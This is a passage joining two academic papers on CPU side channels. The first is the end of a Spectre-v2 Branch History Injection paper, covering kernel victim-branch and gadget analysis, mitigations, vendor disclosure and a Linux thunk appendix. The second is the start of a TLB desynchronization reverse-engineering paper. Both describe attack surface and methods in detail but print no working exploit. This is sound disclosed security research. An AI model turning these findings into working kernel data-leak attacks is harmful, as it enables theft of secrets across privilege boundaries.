engines in the kernel such as unprivileged eBPF, an attacker
can sufficiently control kernel execution to mount practical
attacks. Furthermore, exploits may be feasible even in the
absence of such features, as we discuss in the next section.
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Figure 10: Victim branches vs. executed BBs. The stacked bins
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Figure 11: Victim branches vs. number of controlled registers. We
account only for unique user-controlled values (i.e., two registers
with the same value count as one).

6.4 Exploitation Beyond eBPF

In this section, we analyze the possibility of building attacks
against the Linux kernel even with unprivileged eBPF dis-
abled. In the absence of eBPF, an attacker mainly needs to
identify a victim branch (P1) and a disclosure gadget (P2)
to build a covert channel across privilege boundaries. In this
section, we focus mainly on identifying exploitable victim
branches in the kernel, as this is the most relevant step when
exploiting BHI. We then present a preliminary analysis of
indirect-branch targets in the kernel codebase.

6.4.1 Victim Branches

We built a tool on top of angr [47, 48, 50] to identify every
kernel indirect branch reachable from the syscall entry point.
When building intra-mode exploits, any indirect branch in the
kernel may be a viable target for exploitation. However, when
exploiting BHI, we can only abuse indirect branches close
to the syscall entry point. Therefore, based on the results we
presented in Section 5, we limited the depth of our search to
66 Basic Blocks (BBs). In total, we identified 202 reachable
victim branches, 99 of which have user-controlled registers.
In Figure 10, we show the number of victim branches over
the number of previously executed BBs.

To better evaluate their exploitation capabilities, in Fig-
ure 11 we show the distribution of how many registers are
under attacker control when reaching the indirect jumps.
We can see that an attacker can often control at least two
registers—minimum requirement to exploit a simple F+R
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Figure 12: Controllability of each register when reaching the victim
branches. One does not always control all the 64 bits. However, most
of the time one lacks control only over one or two bits. Finally, as
expected, one never controls rax, rbp and rsp.

gadget. We further show which registers are user-controlled
for each victim branch in Figure 12. Having control over
function-argument registers (as per the System V calling con-
vention [38]), provides more options for an attacker. Indeed,
since the main use case of indirect branches is executing func-
tion pointers, the function code will likely load data from the
registers containing its arguments. Nonetheless, we observe
that an attacker can often control registers used for function
arguments (e.g., rsi, rdx, and rcx).

Moreover, while not all these branches are easily ex-
ploitable, some of them provide more control compared to
what we exploited in Section 6.2. For instance, we identified
an easily reachable indirect jump in __x64_sys_prctl with
9 controlled registers (with 5 unique user-controlled values)—
only 7 basic blocks away from the syscall entry point.

Finally, while our analysis already reveals a nontrivial num-
ber of victim branches of interest, extending our results to the
entire kernel to cover intra-mode BTI attacks beyond BHI
would further increase these figures. And the larger the num-
ber of victim branches of interest, the higher the likelihood of
fall-through targets (i.e., those following the indirect branch
instruction in the binary) originating disclosure gadgets. Since
such fall-through targets are transiently reachable through
Straight-Line Speculation (SLS) on many Arm and x86-64
processors [14], our analysis also suggests that enabling SLS
mitigations (e.g., available for both architectures in recent
Linux kernel versions [36]) is of practical importance.

6.4.2 Indirect-Branch Targets

To find potential disclosure gadgets in the kernel, we first need
all the possible kernel indirect-branch targets. In this section,
we perform a preliminary attack-surface analysis for BHI and
other intra-mode BTI attacks. We extracted an approxima-
tion of all the targets via static analysis. We implemented a
LLVM compiler pass (using the hasAddressTaken function)
to export all the function entry points used as indirect call
targets. We identified 16715 possible targets for the same
setup mentioned earlier in this section. While our analysis
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does not consider switch-case indirect jump targets, it does at
least cover all the kernel functions an attacker may be able to
reach when exploiting intra-mode BTI.

Potential disclosure gadgets. We further reduced the num-
ber of targets to the ones containing a possible disclosure
gadget (P2). We built a second tool based on angr to search
for potential F+R gadgets. We define them as potential disclo-
sure gadgets (i.e., not conclusively exploitable), since we rely
on a loose definition of a F+R gadget: two tainted loads—one
dependent on the other—originating from different registers
(see the example in Section 6.1). We conservatively consider a
transient execution window of maximum 30 instructions from
the indirect-branch target. Therefore, angr stops its search
after reaching this upper-bound limit. Overall, our tool iden-
tified 1177 potential F+R gadgets. While further analysis is
required to study their practical exploitability, our results in-
dicate that the possible attack surface is nontrivial even when
unprivileged eBPF is not available. Moreover, our analysis
is by no means exhaustive, only focusing on the most “con-
venient” disclosure gadgets. For instance, one may want to
exploit the kernel with a more classic PRIME + PROBE covert
channel [20], loosening the requirements for the disclosure
gadget. Or one may consider control over the stack, unlocking
more complex gadgets, such as the one used in Section 6.2.

7 Mitigations

To mitigate the limited isolation guarantees of eIBRS and
CSV2, it is not sufficient to flush the BHB value on mode
switches. Tagged-based isolation strategies are fundamen-
tally limited by the presence of same-predictor-mode mis-
predictions. As demonstrated in Section 6.3, an attacker can
still mount BTI attacks in a fully isolated system by using
privileged-to-privileged mispredictions. In the absence of
Simultaneous Multithreading (SMT), we verified that a com-
plete flush of all previous BTB entries with IBPB on x86-64
can be used as an effective countermeasure. This strong bar-
rier prevents unprivileged layers from interfering with higher-
privilege predictor modes. However, this defense introduces
a huge performance overhead since all privilege levels are
affected by every flush.

A more cost-effective mitigation strategy is to selectively
disable indirect branch prediction on privileged code. For
example on most x86-64 systems, this can be achieved by
re-enabling retpoline—known to be faster than other existing
in-silicon defenses (i.e., IBRS [54]). Since all major OSes,
compilers, etc. already support it, retpoline can be easily de-
ployed on many systems. For hardware defenses, we believe
that disabling indirect branch speculation for high-privilege
predictor modes altogether—as already available in specific
Arm microarchitectures (e.g., CPUACTLR_EL1 [2])—is a vi-
able option. Ultimately, this mitigation can provide similar

security guarantees as retpoline, while avoiding RSB pollu-
tion. Note that, as our results suggest, it is also important to
inhibit Straight-Line Speculation (SLS) [14] and eliminate
potential fall-through disclosure gadgets, unless alternative
compiler-based mitigations are in place [36].

One last hardening technique to complicate exploitation
is to disable access to exploitation-friendly features such as
the Linux kernel’s eBPF for unprivileged users by default. As
shown in our exploits, eBPF is the ideal playground to mount
transient execution attacks due to the attacker-controlled code
generation and the presence of precise timers. Controlling
code executed in kernel space (or other privileged modes)
should only be possible for administrators, since verifying the
security of JIT’ed code against microarchiectural attacks is a
nontrivial task.

Vendors’ response. In response to our disclosure, Intel
and Arm released whitepapers [3, 30] with suggested mitiga-
tions, while AMD confirmed they are not affected by BHI—
matching our findings.

As a first line of defense, Intel suggests disabling unpriv-
ileged eBPF by default, a mitigation which was indeed de-
ployed by the Linux developers [25]. To address more general
BHI attacks, Intel recommends lfencing potential disclo-
sure gadgets or adopting additional hardening options. In
particular, Intel implemented dedicated indirect branch con-
trols (IA32_SPEC_CTRL MSR) to disable higher-privilege
BHB pollution, a feature available on some current and fu-
ture processors. For other processors, software BHB-clearing
sequences are available. To address intra-mode BTI attacks
beyond BHI, additional indirect branch controls, where avail-
able, can disable user/supervisor indirect branch prediction
altogether. Alternatively, Intel recommends re-enabling retpo-
line on processors where it is fully effective.

Regarding Arm, while we could not cause out-of-place
mispredictions in our experiments on a limited sample of the
Arm ecosystem, their extensive set of mitigations and the list
of affected architectures [3], suggests BHI still represents a
realistic threat on many Arm devices. Indeed, they proposed
5 different solutions depending on the microarchitecture of
the device. A CPU can be protected against BHI via software
during a mode switch by (1) a BHB-clearing sequence, (2)
the new clearbhb instruction, or (3) a SMC to trigger the
firmware BHB-clearing mitigation named “Workaround_3”.
Regarding in-silicon defenses, (4) “Exception Clears Branch
History Buffer” will ensure that exception vectors are unaf-
fected and additionally (5) CSV2.3 will be released to specify
when a device is affected by BHI. We are not aware of planned
Arm mitigations against intra-mode BTI attacks beyond BHI.

On a related note, AMD found flaws in their retpoline
implementation during the disclosure process. AMD realized
that the lfence/jmp sequence is racy and thus not safe (i.e.,
provably so on systems with SMT enabled) starting from
the Zen microarchitecture (family 17h), reverting to generic
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retpoline as a result. Similar behavior can be observed on
modern Intel microarchitectures. Finally, the Linux kernel
developers concurrently fixed the funneling issue described
in Appendix A, by patching indirect jumps in-place instead
of relying on the indirect thunks.

8 Related Work

Spectre [34] and Meltdown [37] set the stage for a large body
of transient execution attacks [8, 20, 35, 39, 40, 43–45, 49, 55–
58, 63]. In this work we focus on Branch Target Injection,
also dubbed Spectre v2, and specifically focus on the security
guarantees and limitations of related defenses. Throughout the
paper, we show the incompleteness of isolation-based hard-
ware mitigations alongside end-to-end Linux/Intel exploits
against the kernel from unprivileged user applications.

Previous work [9, 11, 34, 62] already demonstrated out-of-
place BTI attacks on Intel CPUs, either by abusing virtual
address aliasing (i.e., same 32 LSBs) [9, 11], or by relying
on the BHB [9, 34, 62]. In our work, we expand on these re-
sults demonstrating how, despite the introduction of dedicated
hardware mitigations (i.e., eIBRS), the “leaky” isolation can
lead to serious security threats. Furthermore, we expand the
practicability of out-of-place BTI when controlling only the
BHB, lowering the bar for BTI attacks in the general case.

Zhang et al. [64] implemented Spectre-v2 attacks abus-
ing IP-address collisions and early front-end collisions in the
context of transient trojans, i.e., software modules conceal-
ing their malicious activity. In our exploits, we only exercise
BHB-based mispredictions against an unmodified kernel and
exploit bugs in hardware defenses to leak data across privi-
lege boundaries. We also consider a different threat model
of an unprivileged attacker performing both user-to-kernel
and kernel-to-kernel attacks, while Zhang et al. consider a
privileged attacker performing kernel-to-user and kernel-to-
kernel attacks based on injected trojans. Finally, while the
feasibility of same-predictor-mode mispredictions has been
demonstrated before, we are the first to show that this enables
practical exploitation for an unprivileged attacker.

Schwarzl et al. [46] verified that the address translation
attack [24] became viable again after switching defaults from
retpoline to eIBRS in the Linux kernel on compatible systems.
The root cause is the funneling issue described in Appendix A,
which re-enables Spectre-v2 in-place attacks.

Lastly, many prior efforts have reverse engineered indirect
branch prediction internals [19,34,62,64]. Our work confirms
their partial results, provides information on the most recent
processor generations, and proposes a new approach based
on history brute-forcing to mount BHB-based BTI attacks.

9 Conclusion

Despite the rise of in-silicon mitigations against transient exe-
cution attacks since the public disclosure of Spectre in 2018,
we demonstrate that Branch Target Injection is still possible
on modern processors deploying these mitigations. We an-
alyzed indirect branch prediction internals and showed that
BHB-based cross-privilege BTI attacks are not only feasible,
but also practical. In more detail, we implemented end-to-end
exploits breaking both partial, as well as full (hypothetical)
indirect branch prediction state isolation on Intel systems,
leaking secrets from the kernel at a rate of 160 bytes/s.

As countermeasures, we suggest re-enabling software de-
fenses such as retpoline and forbidding unprivileged access to
exploitation-friendly features such as eBPF to further reduce
the transient execution attack surface.

Disclosure

We disclosed the security vulnerabilities described in the pa-
per to Intel, AMD, Arm, and the Linux Kernel in Sep, 2021.
Other affected software vendors have been notified by Intel.
Following our reports, affected vendors have acknowledged
our findings, developed mitigations, and released security ad-
visories. Intel rewarded our findings with the Intel Bug Bounty
program and issued two CVEs (CVE-2022-0001 for BHI and
CVE-2022-0002 for Intra-mode BTI). Arm also issued a CVE
(CVE-2022-23960). After initially proposing a 90-day em-
bargo period, we later agreed to delay the public disclosure
date to March 8, 2022, in order to provide vendors with suffi-
cient time to implement and deploy mitigations.
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A Linux eIBRS Adoption Flaw

In Section 5, we discussed the BHI attack surface and the
differences between in-place and out-of-place BTI [9]. How-
ever, during our security analysis, we discovered an issue
with the adoption of eIBRS in the Linux kernel (versions
< 5.14) that made the two scenarios almost equivalent. In
fact, on eIBRS-supporting systems Linux used to “funnel” all
the kernel indirect jumps to one single call site per register—
essentially originating the same attack surface as out-of-place
BTI since all the indirect jumps converge to few locations.

Such implementation was motivated by the fact that the
Linux kernel does not know at compile time whether it will
be running on a system that supports eIBRS. Indeed, since
cpuid holds this information, the kernel discovers only at
boot time whether it should use the in-silicon mitigation or
the software-based retpoline. Thus, the Linux kernel devel-
opers opted for a hot-patching approach to gain the perfor-
mance improvements of the in-silicon mitigation. Unfortu-
nately, prior to version 5.14, the kernel used to patch a single
thunk per register (Listing 3) for both environments. This
caused no drawbacks on systems deploying retpoline, since
retpoline does not allow the CPU to speculate on the tar-
get. However, on eIBRS-enabled systems, this resulted into
__x86_indirect_thunk_$reg being patched to a simple
jmp $reg at runtime. Doing so undermined the desired secu-
rity guarantees of eIBRS (as well as indirect branch prediction
performance), as all the branches in the kernel previously pro-
tected by retpoline are dispatched from the same few call
sites. Effectively, this “funneling” allowed for straightforward
in-kernel mistraining of the indirect branch predictor, since all
indirect jumps are sunk to few source addresses, increasing
the attack surface for Spectre-v2 (in-place BTI) attacks.

We disclosed this issue to the Linux kernel developers, who
had observed it concurrently to our work and, in response,
developed a patch set. As a result, as of Linux kernel 5.14 [65],
indirect thunks are only used in the early boot process of
the system, while for all the other indirect jumps the kernel
performs patching directly “over” the original indirect jumps
to completely eradicate this issue.

Listing 3 Linux implementation for the Spectre v2 mitigation
before version 5.14 on Intel processors depending on eIBRS
hardware support. The shown example is taken from the
indirect jump in charge to execute the correct syscall handler
stored in the sys_call_table.

1 do_syscall_64:
2 ;...
3 mov rax, [sys_call_table + rax*8]
4 call __x86_indirect_thunk_rax

1 ;with eIBRS support
2 __x86_indirect_thunk_rax:
3 jmp rax

1 ;without eIBRS support (retpoline)
2 __x86_indirect_thunk_rax:
3 call B
4 A: pause
5 lfence
6 jmp A
7 B: mov [rsp], rax
8 ret
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Abstract
Translation Lookaside Buffers, or TLBs, play a vital role in re-
cent microarchitectural attacks. However, unlike CPU caches,
we know very little about the exact operation of these essential
microarchitectural components. In this paper, we introduce
TLB desynchronization as a novel technique for reverse engi-
neering TLB behavior from software. Unlike previous efforts
that rely on timing or performance counters, our technique
relies on fundamental properties of TLBs, enabling precise
and fine-grained experiments. We use desynchronization to
shed new light on TLB behavior, examining previously undoc-
umented features such as replacement policies and handling
of PCIDs on commodity Intel processors. We also show that
such knowledge allows for more and better attacks.

Our results reveal a novel replacement policy on the L2
TLB of modern Intel CPUs as well as behavior indicative of
a PCID cache. We use our new insights to design adversarial
access patterns that massage the TLB state into evicting a
target entry in the minimum number of steps, then examine
their impact on several classes of prior TLB-based attacks.
Our findings enable practical side channels à la TLBleed over
L2, with much finer spatial discrimination and at a sampling
rate comparable to L1, as well as an even finer-grained variant
that targets both levels. We also show substantial speed gains
for other classes of attacks that rely on TLB eviction.

1 Introduction

Deeper knowledge of microarchitectural components fre-
quently leads to significant advances in low-level attacks
and defenses. For instance, reverse engineering CPU cache
replacement policies [1, 2, 34] allowed researchers on the
defensive side to ensure bounds on execution time and to
protect against side channels [1], and on the offensive side,
to leak information through the replacement policy state [36]
or optimize cache eviction for more effective Rowhammer
attacks [4]. Likewise, knowledge of the interplay between the
memory management unit, caches, and virtual-to-physical ad-
dress translation structures enabled new information leakage

attacks through trusted CPU components [14, 32]. However,
most reverse engineering efforts to date have focused exclu-
sively on the data and instruction CPU caches, with little
attention devoted to the translation lookaside buffer (TLB),
the other vital cache component involved in memory accesses.
This is somewhat surprising, as TLBs play a pivotal role in
a growing number of attacks [14, 32, 39]. Aside from crude
examinations (e.g., by Gras et al. [14]), researchers have not
looked at the detailed behavior such as allocation and replace-
ment policies of TLBs at all.

In this paper, we show that our lack of knowledge of the
operation of the TLB hinders the exploration of new attack
vectors and limits the efficiency of attacks proposed so far. For
example, the absence of optimal eviction strategies limited the
TLBleed covert channel [14] to coarse-grained information
over the L1 data TLB, rather than more fine-grained chan-
nels over the larger and shared L2 TLB. In this paper, we
reverse engineer modern TLBs and show how knowledge of
replacement policies not only improves existing attacks but
also makes new attack variants practical.

In contrast to previous research, we do not leverage per-
formance counters or timing side channels for reverse en-
gineering, but rather use a precise technique based on TLB
desynchronization. In particular, we desynchronize the TLB
and the page table structure in memory by altering the page
table entry (PTE) for a page in the TLB. Doing so allows us
to determine very precisely when a TLB entry is evicted, be-
cause that is when the processor starts using the new mapping
from the page tables in memory.

Using TLB desynchronization as a side channel, we ex-
amine TLB features that previous work has omitted, such
as replacement policies and PCID handling, and in doing so
are the first to uncover several new undocumented properties.
Specifically, we describe a new replacement policy in use
by the 12-way L2 TLBs of recent Intel microarchitectures,
as well as behavior indicative of a previously undocumented
PCID cache in all the tested CPUs.

Finally, by creating a more complete model of hardware be-
havior, we show how we can gain net speed benefits for prior
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attacks that rely on the TLB such as TLB side channel [14],
as well as translation-based cache [32] and Rowhammer [39]
attacks. Our reverse engineering efforts also make new attack
variants practical, such as an efficient TLBleed over the L2
TLB. Such a variant provides 8 times the spatial discrimina-
tion of the original TLBleed, while our optimized eviction
strategy provides a sampling rate comparable to the L1 sam-
pling rates of the original TLBleed. Further, we introduce an
even more fine-grained variant targeting a particular (L1, L2)
set pair, improving spatial discrimination by two orders of
magnitude, and show how optimized eviction sets are neces-
sary for the practical implementation of such an attack.

Contributions

• We introduce TLB desynchronization as a reliable side
channel for TLB reverse engineering and use it to (a) re-
produce existing results, and (b) uncover entirely novel
TLB properties and behavior.

• We discover previously undocumented TLB behavior on
Intel CPUs, including a novel replacement policy, and
behavior congruent with an undocumented PCID cache.

• We use this knowledge to introduce optimized eviction
sets and show how they improve TLB-based attacks.

Our code to build optimized eviction sets and implement
the considered case studies is available as open source at
https://github.com/vusec/tlbdr.

2 Background

In this section we briefly describe TLBs and some of their
fundamental properties. We then lay out previous reverse
engineering work and attacks involving the TLB.

2.1 Virtual Memory and TLBs

Abstracting a machine’s available RAM through the use of vir-
tual memory is a nearly ubiquitous technique used in modern
computer architectures. A common implementation of this
abstraction is paging, where memory is divided into physical
page frames—equally-sized contiguous blocks. The virtual
address space is similarly divided into virtual pages. Trans-
lating between virtual and physical address spaces is handled
by the Memory Management Unit (MMU) inside the CPU,
which uses hierarchical in-memory data structures called page
tables to accomplish this task. Page tables contain page table
entries (PTEs) which point to a page frame containing either
the requested data or to another, lower-level, page table. This
translation performed by the MMU is called a page table walk,
owing to the traversal over page table structures it involves.

e0 e1 e2 e3

0 1

1

(a) A possible ordering.

π0 = (0,1,2,3)
π1 = (1,0,3,2)
π2 = (2,1,0,3)
π3 = (3,0,1,2)

(b) Permutation vectors.

Figure 1: 4-way tree-PLRU

Translation Lookaside Buffer As multiple memory ac-
cesses can be expensive, recently resolved translations are
stored in a cache called the Translation Lookaside Buffer
(TLB) in order to speed up subsequent accesses. The TLB,
like data caches, is a set-associative cache partitioned into S
sets, each consisting of a number of ways W , with a so-called
hash function determining the set in which a translation is
cached. Modern processors typically use a two-level TLB
hierarchy. The first level (L1) is split in two components: the
dTLB is used to cache translations triggered by data loads
while the iTLB stores those triggered by instruction fetches.
A second level (L2) TLB is consulted after an L1 miss and
can be either shared (sTLB), storing translations from either
memory access type, or itself split, handling data loads and in-
struction fetches independently. Similarly to other multi-level
caches, the concepts of inclusivity and exclusivity apply to
TLBs as well. An inclusive TLB is one where entries in L1
are necessarily also present in L2, whereas an exclusive TLB
has entries present in at most one level at a time.

Replacement Policies Caches of all kinds quickly face the
issue of storing a new translation into a full set, thus having
to first pick an entry to evict. The method by which a cache
selects this eviction victim is called a replacement policy. Op-
timally, a cache should evict the entry that will be used most
distantly in the future [6]. Implementing such a replacement
policy, however, is impossible, as the future is unknowable.

Fortunately, the past is often a reasonable approximation
of the future. This forms the basis for the Least-Recently
Used (LRU) replacement policy which keeps track of the
access history of entries, always evicting the least-recently
used. As the number of ways in a set increases, though, LRU
scales very poorly and becomes infeasible. To address this,
approximations of LRU, called Pseudo LRU (PLRU), are
commonly implemented instead. One family of such policies
is tree-PLRU, which use W −1 bits to represent a binary tree
that approximates access history ordering. An example tree-
PLRU ordering for a 4-way set is shown in Figure 1a. After an
access, the tree is traversed and all the nodes encountered are
updated to point in the opposite direction. On insertion, the
entry currently pointed to is evicted and replaced, after which
the nodes traversed in order to reach it change direction. More
generally we can view a replacement policy as maintaining an
ordering of ways in a set, forming a queue of eviction victims.
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Permutation Vectors Although descriptions and visualiza-
tions of replacement policies are helpful, thorough reverse
engineering efforts require the rigor of a mathematical model.
Abel and Reineke [1] introduce permutation vectors as a
model for a broad class of replacement policies where the
state of a TLB set can be exhaustively described by a per-
mutation (i.e., ordering) of its W ways that represents access
history, with the rightmost element being chosen for eviction
next. Permutations are also used to describe updates to cache
state following hits or misses, with the new state formed by
composing the initial state with the update permutation. A per-
mutation vector πi shows how each entry’s position changes
after a hit on the entry at position i. For example, if we access
entry x at position 3 and π3(0) = 3, x will move to position
0. A miss vector πm shows what happens on a TLB miss,
and is conventionally fixed to (W −1,0,1, ...,W −2), i.e. the
new entry is inserted at position 0 and other entries have their
positions increased by one. Permutation vectors allow us to
model many common replacement policies like LRU and tree-
PLRU. In Figure 1b we see an example for 4-way tree-PLRU.
Permutation vectors do have limitations, and are inadequate
for describing non-deterministic policies, as well as policies
whose decision is not solely based the access history (e.g.,
bit-PLRU [3], which replaces the left-most element that was
not accessed recently).

Address Space Identifiers Since each process is offered its
own virtual address space, translation structures are process-
specific. Hence, upon context switch, any existing TLB entries
become stale and should no longer be used for translation. A
naive way around this is to flush the entire TLB on context
switch, which although simple, has the newly scheduled task
start off with an empty TLB, forcing the MMU to perform
page walks for the first memory accesses. To avoid this so-
called cold start, modern processors tag TLB entries with an
address space identifier. This eliminates the need for a TLB
flush on every context switch, as it allows the processor to
distinguish between valid and stale entries. As recent transient
execution attacks proved the need for a separate kernel address
space [23], such identifiers became even more important for
performance, avoiding the need for a TLB flush on every
privilege switch. Intel processors refer to this identifier as
Process-Context Identifier (PCID).

2.2 Exploiting the TLB
Gras et al. [15] introduce AnC, a cache attack on the MMU
that can be used to break ASLR. Their insight is that the
MMU needs to access multiple levels of page tables in order
to complete a translation, and each accessed entry is cached.
By using an established EVICT+TIME attack on these cached
entries they can leak the value of any data pointer. RevAnC,
introduced by van Schaik et al. [33], uses repeated AnC at-
tacks to reverse engineer the sizes of the TLB and translation

caches on multiple architectures. XLATE [32] similarly uses
the translation process as a cross-process side channel.

In TLBleed [14], Gras et al. show that the TLB itself can be
abused to spy on a co-resident hyperthread. Specifically, they
use the L1 dTLB as a side channel to leak the key bit being
processed by the libgcrypt EdDSA key scalar-multiplication
function on a victim thread. They successfully recover the
secret key using a limited number of brute force attempts. In
the process, they reverse engineer several properties of mod-
ern Intel TLBs, showing that the L1 dTLB and the L2 sTLB
are competitively shared between hyperthreads, while the L1
iTLB is statically partitioned. Next to that, they determine
set sizes, set selection hash functions, and also show that the
TLB is non-inclusive.

Zhang et al. [39] show that page walks can be leveraged to
perform Rowhammer, in an attack they call PTHammer. By
flushing the TLB and cache entries for the last-level PTE they
ensure this entry is fetched from DRAM on each page walk.
These memory accesses are used to hammer DRAM on a row
that is not directly accessible to the attacker, invalidating the
threat model of many software-based Rowhammer defenses.

All TLB-based attacks described here indispensably rely
on evicting one particular entry out of the TLB. Currently
they achieve this using a blunt approach: fill the target set
with W or more new entries to force the target entry out. In §5
we propose a finer-grained and more performant alternative.

3 TLB Desynchronization

In this section, we introduce TLB desynchronization as a
novel primitive for reverse engineering the TLB that, unlike
previous work, relies neither on timing [1, 33], nor on hard-
ware performance counters [1, 2, 14].

Our starting insight is that unlike data caches, which feature
intricate coherency protocols, TLBs do not enforce coherence
with the in-memory page tables. The task of invalidating any
potentially stale TLB entries is explicitly left to the operating
system [19] and failing to do so would be a serious bug in nor-
mal circumstances. For our purposes of reverse engineering,
however, we can leverage stale entries to accurately determine
whether a given memory access incurred a hit in the TLB.

To do so, we first select a victim address and trigger a TLB
fill by accessing it. If we alter the corresponding PTE directly
afterward without explicitly invalidating the TLB, the victim
entry becomes desynchronized with the PTE in memory. Any
subsequent memory access to the victim address that hits the
TLB will use the stale entry, whereas any TLB miss will use
the in-memory PTE. If we can then distinguish which PTE
is used for translation, we enable reliable TLB hit detection
with the finest possible granularity—individual accesses.

Desynchronization poses several attractive properties when
compared to alternatives. As opposed to performance coun-
ters, it does not rely on sampling and thus precisely measures
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Figure 2: Overview of a TLB desynchronization experiment on L1d with pages A and B of different contents.

specific memory accesses independently. In addition, desyn-
chronization classifies hits and misses based on fundamental
properties of the TLB, offering a much clearer and more ro-
bust classification than timing measurements, which require
calibration and are more prone to noise.

Before we can leverage desynchronization to reverse engi-
neer the TLB we must address several challenges.

Distinguishing Memory Accesses A first issue we face is
that we must distinguish between memory accesses going
through a stale (in-TLB) entry versus a fresh (in-memory)
PTE. A straight-forward solution would be to mark the PTE
invalid by setting a reserved bit or clearing the present bit. A
subsequent TLB miss would then result in a page fault, which
we can easily measure. However, this method would execute
the page fault handler on every TLB miss, potentially thrash-
ing the TLB state and adversely affecting measurements.

We instead opt for PTE swapping, by which we interchange
the contents of our victim PTE with another, also valid, PTE.
As a result of desynchronizing and PTE swapping, the victim
page maps to different page frames when accessed via a TLB
hit or page table walk. By ensuring that these physical pages
contain different data we can easily and precisely classify
TLB hits and misses by interpreting these contents.

Component classification Although we can distinguish
between a TLB hit and a TLB miss, for non-exclusive TLBs
we still cannot easily determine which component caused a
hit (e.g., whether a data load was served from L1d or L2). In
certain cases when testing the sTLB we can use a data load
for priming and an instruction fetch for testing presence in the
TLB, or vice versa, to eliminate influence from L1. To solve
this issue more generally, we selectively flush an entry from
a single TLB component without affecting the others (e.g.,
flush an entry from L2 while preserving it in L1). Selectively
flushing L2 can be done naively by issuing a large number
of memory accesses of the opposite type to the split TLB we
want to preserve, assuming a shared L2. For example, after
initiating enough instruction fetches on unique pages, we are
certain that any cached entries are evicted from both L1i and
L2, while leaving L1d unaffected. Figure 2 shows an overview
of such a TLB desynchronization experiment.

More precise eviction can be achieved by targeting a single

specific set, requiring fewer, albeit more carefully chosen
memory accesses. This, for example, enables us to evict an
entry from L1d without evicting any entries that are relevant
for our experiment from L2. For this to work, however, we
need to know the hash functions used for set indexing.

Implementation To experiment with desynchronized TLBs,
we need to handle several issues. First, userspace programs
cannot directly access or modify page tables, forcing us to
implement PTE swapping in kernel mode. Second, scheduling
events such as context switches can thrash the TLB state and
contaminate our results, prompting an implementation that
minimizes task switching. Third, we want to keep the amount
of out-of-order execution to a minimum to avoid polluting our
results. Finally, asynchronous events such as interrupts can
also affect the TLB state and should be minimized. Taking
all these considerations into account, our reverse engineering
experiments run entirely in kernel mode with preemption and
interrupts disabled, and use a strict form of pointer chasing.

4 Reverse Engineering

In this section we discuss how to use the TLB desynchro-
nization primitive to design and run experiments for probing
TLB behavior. In designing the experiments presented in this
section, we assume a shared L2 TLB, an assumption we found
not to hold for two AMD microarchitectures examined. For
such systems, we lay out an alternative set of experiments in
Appendix A. The results for the two AMD microarchitectures
are summarized later in this section, in Table 2.

We first examine a range of basic TLB properties of Intel
CPUs that confirm and expand the insight into TLB behav-
ior of previous work [14]. From §4.4 onward, we focus on
features that were thus far unexplored, yet no less fundamen-
tal. In the process, we uncover a previously undocumented
replacement policy, as well as evidence of a PCID cache.

4.1 Inclusivity and Exclusivity
Before we pursue more advanced experiments we must first
confirm several fundamental properties, and we start with
inclusivity. To do so, we prime the TLB with a data load of
our target address T , swap its PTE to desynchronize the TLB
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from the page tables, then perform unique instruction fetches
until the L2 sTLB is completely flushed. If a subsequent data
load of T is a TLB hit, the TLB must have been non-inclusive,
as L1d retains T independently of L2. A miss implies either
strict inclusivity, or that L1 is not populated by page walks.
On all tested microarchitectures, we obtain proof of a non-
inclusive TLB, confirming the results of Gras et al. [14].

Knowing this, we expand upon their work by performing a
similar experiment to check for exclusivity. Specifically, we
prime the TLB with a data load, desynchronize, then access
T via an instruction fetch. A TLB hit will occur if and only
if T was also loaded into L2 in addition to L1d, and thus a
non-exclusive TLB. Our results show that all tested microar-
chitectures are non-exclusive, as the second access incurs an
sTLB hit. We conclude that all our tested systems implement
non-inclusive, non-exclusive TLBs. In addition, we know that
entries are inserted into both TLB levels by a page walk.

4.2 Set Size and Mapping

Now that we know where entries may reside in the TLB and
how they are inserted by the MMU, we use TLB desynchro-
nization to measure the number of ways and the set hash
functions, again extending earlier results [14].

We consider a TLB component with S sets and W ways
that uses one of the two types of hash functions found before
on TLBs [14]. Assuming we start with an empty TLB and
no evictions occur before a TLB set is full, visiting W + 1
virtual pages belonging to said set should cause evictions for
correct values of W and S. Evictions should also occur if we
pick W greater than the true number of ways, or if we pick S
a multiple of the true number of sets. Therefore, the smallest
values for both W and S that trigger TLB evictions denote
the correct number of ways and sets. To find this minimal
pair we run our experiment for all sensible combinations of
W , S, and candidate hash function. Directly after accessing
our pages, we swap their PTEs to desynchronize the TLB
and page tables. We next access the pages again, measuring
if any access incurred a miss. If so, we know that the first
round of accesses resulted in a TLB eviction. To eliminate
the influence of TLB components that we are not testing (e.g.,
false hits from stale entries in L2 when testing L1), we use
the techniques described in §3.

Our results, shown in Table 1, agree for the sTLB and dTLB
with the ones described by Gras et al. [14]. On the iTLB,
however, the measured number of sets depends on the activity
of the co-resident hyperthread for all tested microarchitectures
except the oldest one, Westmere-EP. With the hyperthread
active, our results are consistent with previous work and with
static partitioning of L1i. But when idle, the number of sets
doubles (i.e., our experiment had access to both “halves” of
the iTLB), suggesting that partitioning occurs dynamically,
with the iTLB switching between partition states at runtime.

4.3 Reinsertion Behavior
Now that we know how the TLB populates on a miss, we
next examine reinsertion on hits. In particular, we want to
know whether L2 serves as a victim cache, whether L2 hits
propagate upward, and whether L1 hits propagate downward.

We start by looking at victim caches, specifically whether
L2 sTLB is populated by evictions from L1d or L1i. To do so,
we prime either L1d or L1i with our target T , desynchronize
the TLB, evict L2, and finally evict our stale entry from L1.
A subsequent hit on T means that evicting L1 populated L2,
implying a victim cache, whereas a miss suggests otherwise.
Our results show that entries are never reinserted into L2
after either L1d or L1i eviction. None of the L2 sTLBs tested
behave as a victim cache.

We next investigate whether an L2 hit is reinserted into L1.
For this, we access T , desynchronize the TLB, then access
T using the opposite type of memory access, which should
cause an L2 hit. Finally, we evict the L2 set and access T
again using the latter access type. If L2 hits populate L1 we
should see a hit, while a miss indicates otherwise. For all
tested microarchitectures our results show that the last mem-
ory access results in a TLB hit. Hence, entries are reinserted
into the dTLB or the iTLB upon an sTLB hit.

As a last experiment, we test if the TLB reinserts the other
way around—into the sTLB upon L1 hit. For this, we access
a target page T , desynchronize the TLB, and evict its sTLB
set, leaving the entry only in L1. We access the target again,
using the same access type. If this causes sTLB reinsertion,
an access of the opposite type results in a TLB hit. Likewise,
a TLB miss proves that entries are not reinserted. Our results
show no evidence of L2 reinsertion in any of the TLBs.

4.4 Replacement Policies
With the insights gained thus far we have an overview of
where and how entries are inserted into the TLB. We use
this knowledge to explore replacement policies, using per-
mutation vectors as a model for reverse engineering. We im-
plement the algorithm presented by Abel and Reineke for
